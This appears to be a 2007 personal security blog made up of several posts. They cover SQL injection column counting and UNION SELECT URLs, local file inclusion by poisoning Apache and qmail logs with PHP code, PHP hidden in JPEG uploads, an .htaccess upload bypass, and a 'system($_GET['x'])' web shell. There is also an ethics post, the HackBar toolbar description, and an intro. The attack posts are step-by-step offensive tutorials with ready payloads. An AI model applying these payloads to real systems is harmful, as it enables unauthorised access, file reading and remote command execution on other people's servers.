A lot of people seem to be asking around for a way to detect the amount of columns needed for a successful 'union select' injection. It might be old news for a lot of people, but others are still wrestling with pure guessing. So here goes nothing ;)
When trying to execute a union select, make sure you are on a mysql 4 or higher server! Union selects will not work on mysql 3 or lower.
O.k. let's take the following news query:
SELECT * FROM `news` WHERE `news_id` = 121
The URL to access this query is: /news.php?news_id=121
So our injection point in this query is: '121'.
Now lets find out if the news_id is injectable
test: /news.php?news_id=121 and 1=1
result needed: success
test: /news.php?news_id=121 and 1=0
result needed: empty page
version 4 or higher?
test: /news.php?news_id=121 and version() >= 4
result needed: success
Now comes the cool part. We know we can order data using column names, but we can also order our result set using column numbers. We can use this knowledge to test the amount of columns used in the query.
Does the column / order trick work? (order by first column)
test: /news.php?news_id=121 order by 1/*
result needed: success
More than 10 columns?
test: /news.php?news_id=121 order by 10/*
result needed: success / failure, based on the amount of columns.
More than 20 columns?
test: /news.php?news_id=121 order by 20/*
result needed: success / failure, based on the amount of columns.
etc...
Now lets say there were 12 columns in the news table.
test: /news.php?news_id=121 order by 11/* -- Succeeded
test: /news.php?news_id=121 order by 12/* -- Succeeded
test: /news.php?news_id=121 order by 13/* -- Failed
Joy! so 12 it is. Now you can easily inject your union select query. ;)
Union Select: /news.php?news_id=12 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12/*
Good luck ;)
Tuesday, August 7, 2007
Union select column count
Posted by Johan Adriaans at 9:31 PM 13 comments
Saturday, August 4, 2007
local file inclusion tricks
I keep on ranting about file inclusion while this is not something we see every day. I promise this will be my last post on this subject for a while :)
First off, if you did no reconnaissance and you don't really know where you are on the file system but you do know where to go, don't worry about the amount of ../ you're using. You can't go beyond the root of the file system, the rest of the ../'s will just be ignored. So if you are in /var/www/vhosts/domain.com/httpdocs and you try to include ../../../../../../../../../../etc/passwd, it will work fine.
Now to actually include some PHP code! There are a few things you can do. Of course you could try to include external files, which would be the easy way to go.. but some administrators turn this feature off in the php.ini.
// ----- 1: apache error_log injection -----
Inject php code in the apache error log.
$ telnet xxx.xxx.xxx.xxx 80
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx. Escape character is '^]'.
GET /< ?php phpinfo(); ? > HTTP/1.0
After that you can include the error log file. The embedde PHP code will be executed. a few places to look for the error log file:
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
etc..
// ----- 2: Malicious image upload -----
When the website allows its users to upload images (like avatars). You could use the method explained in my previous post: "'Safe' remote file inclusion" to upload a malicious image.
// ----- 3: Send e-mail -----
This is actually pretty hard to exploit, although it IS possible. You could of course try to send an e-mail to the web server user (e.g. apache@hostname) and include /var/spool/mail/apache. This method never worked for me, and i don't think any up-to-date linux system supports this 'feature'.
The second method is somewhat elaborate. I will explain it using qmail examples, but most mail servers support this feature.
You will need to include the maillog file. This is often located at /var/log/maillog. Now to inject some php code, look at the following example:
root@test:/# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 hidden.domain.com ESMTP
HELO
250 hidden.domain.com
MAIL FROM: anything < ?phpinfo();? >
250 ok
RCPT TO: non-existing@user.com
250 ok
DATA
354 go ahead
Subject: phpInjectionTest
.
250 ok 1186501618 qp 7063
quit
221 hidden.domain.com
Connection closed by foreign host.
root@test:/# grep phpinfo /var/log/maillog
Aug 7 17:46:59 test qmail: 1186501618.685225 info msg 3903353: bytes 198 from < ?phpinfo();? > qp 7086 uid 2020
Aug 7 17:46:59 test qmail-remote-handlers[7090]: from=?php-phpinfo();?
root@test:/# echo "< ?phpinfo();? >" | php
The above steps are:
- Telnet into the mail server.
- Fake the sender address: Anything < ?phpinfo();? >. (Spaces are replaced by underscores. So you need to prevent those.)
- Look for the phpinfo string in the log file
- Test it in PHP
/var/qmail/mailnames/[domain.com]/[user]/Maildir/new/.
And the files look like: 1186501037.4564.server.domain.com. (Meaning [timestamp].[PID].[hostname])
The filename can be guessed using the maillog, the approximate timestamp and PID will show up in this log file. Although its pretty hard to read if you're not familiar with this log format.
// ----- Conclusion -----
There are a lot of cool ways to include PHP snippets on a vulnerable server, the easiest one is to write it to the error_log file. This file is written by the web server, and easily accessible (without the open_basedir restrictions of course).
// ----- What to inject?! -----
The best start is to inject something like:
< ?system($_GET['x']);? >
This allows you to execute any command on the server using the x _GET value. After that you're practically in.
Posted by Johan Adriaans at 9:21 PM 10 comments
Friday, August 3, 2007
'Safe' remote file inclusion
As mentioned in my previous post: "PHP Image uploaders", It is possible to embed PHP code in a normal jpeg image. With the valid extension this will upload in any image upload script. It will be treated like any normal image. The embedded PHP code will stay untouched unless the image is resized or pulled through imageMagick / GDlib for any reason. These libs will not trigger any errors, they just strip of the excess data (meaning the embedded PHP code ;)
When executing or including these PHP files. The image data blob will be printed to the screen, this is slightly annoying.. but the PHP code will also be executed. Some black hat readers might see the opportunity here. When you find a remote file inclusion, and you want to inject some PHP code, its often tricky to host in on:
1. Your own server
2. A 'hacked' server (which i don't know anything about)
So a simple option might be: write your PHP script, embed into a jpeg file, and host it on any open image upload server. I tested it on imageshack, and it seems to work there. The only requirement is that the file should not be resized or changed in any way.
After this you can include the .jpg file. And the PHP code embedded in the image will be executed.
Here is a simple test you can run:
Get your favorite image.. called image.jpg and go a little something like this:
$ echo "< ?php phpinfo(); ? >" >> image.jpg
$ echo "< ?php include('image.jpg') ? >" > test.php
Now open test.php in your browser, and behold! phpinfo() output.. with a bunch of nasty binary characters above it.
Here is a demo file containing phpinfo(): http://img258.imageshack.us/img258/3822/gnarfmh9.jpg
Posted by Johan Adriaans at 11:07 PM 3 comments
Labels: php, remote file inclusion, security
Tuesday, June 26, 2007
PHP Image uploaders
Image uploads are pretty common these days, you get them in most forums, weblogs, community sites etc. There are basicly 2 methods of determining if the uploaded file is an actual image.
1: Check the file extension. This should be gif, jpg or png.
2: Check the file layout, using the PHP getimagesize() function, which is way cooler, cuz it is.
If by chance the developer wasnt paying attention and doesn't check the extension properly, but does use the getimagesize function to determine the image type. You can upload a 'special' file that passes all PHP image checks and still executes the embedded PHP.
Just take a basic jpeg image (yes, your avatar will do) open it in your favorate hex editor, open your php file next to it, and copy-paste the php hex data below the image hex data.
Next, rename the file.jpg to file.php, and try to upload it.
The thing with jpeg is, its not bothered by excess data. The jpeg header takes care of that. A php file just shows its contents, until it finds those cute php tags. So when opening this 'image' in a browser, it will be executed like a normal php file.
I used this image spoof about 20 times now, and it worked about 5 times. So its a long shot, but surely, worth a try.
PS:
if it doesnt work, try to upload a .htaccess file containing: AddType application/x-httpd-php .jpg
and uploading your .php file as a .jpg file. Because of the weird filename layout (.htaccess == no filename and a suspiciously long file extension) some upload checks let it pass through. (older versions of FCKeditor for example)
Posted by Johan Adriaans at 11:50 PM 0 comments
Security and its ethics
'Cool I hacked some site! I must now tell the owner (whoever that may be) how he should fix his bogus security.. and of course, what a 1337 H@xor I am!'..
When I find SQL injections, most of the time i don't even bother telling the owner of the site, unless of course, its something big and important, and lives are (or my money is) at stake. Most of the time you get a lame reply or none at all.. and this made me think.
Finding security leaks is fun for me, its a challenge. When I'm actually IN, I lose interest real fast. The rush you get, when you get closer and closer, is the best there is! The thing is.. telling the owner you were in his backend, proving it with pretty screenshots is roughly equivalent to forcing your way into his living room and sending him a postcard afterwards (with you in it.. on his couch.. watching his p0rn) . What more can we expect but a pale faced: "Thank you for not telling anyone.."?
This is different for the bigger companies. They have the beauty of bureaucracy! This is just a fancy word for: "Hi Boss, I didn't do it, it was that guy over there.. oh wait.. he quit a few weeks ago.. you want me to fix it? I'd be happy to!"
This is even more different for the really big companies with a security team on top. They tend to sue you to death, or if they are really impressed, hire you! (probably worse)
Just picture yourself in a bank vault, explaining your 'bendy paperclip technique' that allowed you to open the door while disabling any surrounding camera's or alarms.. pure horror!
So.. its better to not say anything.. is it? Well no.. the best thing i can think of is, just be real careful when you do tell. Don't try to be the all knowing hacker that saved them from a pity full doom. Just tell them what you do, why you do it, and... what you did :)
Or even better, contact them in advance, ask them if its ok. I did it a few times, it works great. The only problem is that this approach kind of kills the ninja feeling of it all.. but thats just me i guess.
Posted by Johan Adriaans at 10:00 PM 3 comments
Hackbar 1.1.1
I have released the new version of the HackBar firefox plugin. Well.. not exactly.. i released it a month ago, but it should be on this blog, so here it is.
>> So... why the lame name?
<< Well.. it started out as a joke. I wanted to write a firefox plugin, and i was fed up with the confusing and unreadable url when performing SQL injections. So a lame textarea toolbar was born. I decided to call it HackBar.. cuz, thats what it helps you do.. doesn't it? After a while i saw the error of my way. The first problem was getting it through the firefox plugin people. That took about a month.. And now, its not just my toy, its anyones toy.. And apparently its my problem that its not available in chinese.. or some other language i cant read.
Anyway, heres the link: https://addons.mozilla.org/en-US/firefox/addon/3899
Hackbar 1.1.1 description
# New features
- Show / Hide hotkey [F9]
- Tab sensitive
- Auto load, split and focus when pressing hotkey on a new URL.
- Localized ( English and dutch for now )
- Textarea width set to 100% (removed dragbar)
- Complete code revision (OO based instead of functions)
# In general
This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool for executing standard exploits and it will NOT learn you how to hack a site. Its main purpose is to help a developer do security audits on his code. If you know what your doing, this toolbar will help you do it faster. If you want to learn to find security holes, you can also use this toolbar, but you will probably also need a book, and a lot of google :)
# The advantages are:
- Even the most complicated urls will be readable
- The focus will stay on the textarea, so after executing the url (ctrl+enter) you can just go on typing / testing
- The url in textarea is not affected by redirects.
- I tend to use it as a notepad :)
- Usefull tools like on the fly uu/url decoding etc.
- All functions work on the currently selected text.
# Load url ( alt a )
This loads the url of the current page into the textarea.
# Split url ( alt s )
When this button is clicked, the url/text in the textarea will be split into multiple lines using the ? and & character
# Execute ( alt x, ctrl enter )
This will execute the current url in the textarea, i mostly use ctrl+enter
# INT -1 ( alt - )
First select a number in the textarea and press this button, the number will be lowered by 1 and the url will be loaded.
# INT +1 ( alt + )
Again first select a number in the textarea and press this button, 1 will be added to the number and the url will be loaded.
# MD5 Hash ( alt m )
this is a standard hashing method, often used as an encryption method for passwords. It will MD5 hash the currently selected string.
# MySQL CHAR() ( alt y )
If quotes are escaped but you did find an SQL injection thats exploitable, you can use this button to convert lets say:
load_file('/etc/passwd') --> load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100))
Thus omiting the use of quotes to load a file.
You can also use this on
WHERE foo LIKE ('%bar%') --> WHERE foo LIKE (CHAR(37, 98, 97, 114, 37))
# MsSQL CHAR() ( alt q )
Same story as MySQL CHAR(), MsSQL has a slightly different CHAR syntax
--> WHERE foo LIKE ( CHAR(37) + CHAR(98) + CHAR(97) + CHAR(114) + CHAR(37))
# Base64 encode / decode
Base64 encoding ( UU ) is often used to store data (like a return url etc.) This will help you to read those values.
# URLencode / decode
This will encode or decode the currently selected characters to url safe characters. I mostly use it to end a query with # (%23) when in a pseudo path where i cant use /* or --
Cool! another blog full of crap... about stuff!
Yep.. you're so right!
I'm a PHP developer, I'm interested in lots of things, mostly web development and i needed an outlet. So here we are.
Security is something I like to play with, it's nice out-of-the-box thinking. A fitting description would be "a jigsaw puzzle without the pretty picture.." But that would just be plain silly.
Next to that i tend to release some scripts and applications onto the word...
So now you know.. bare with me :)
Posted by Johan Adriaans at 9:11 PM 0 comments
Labels: intro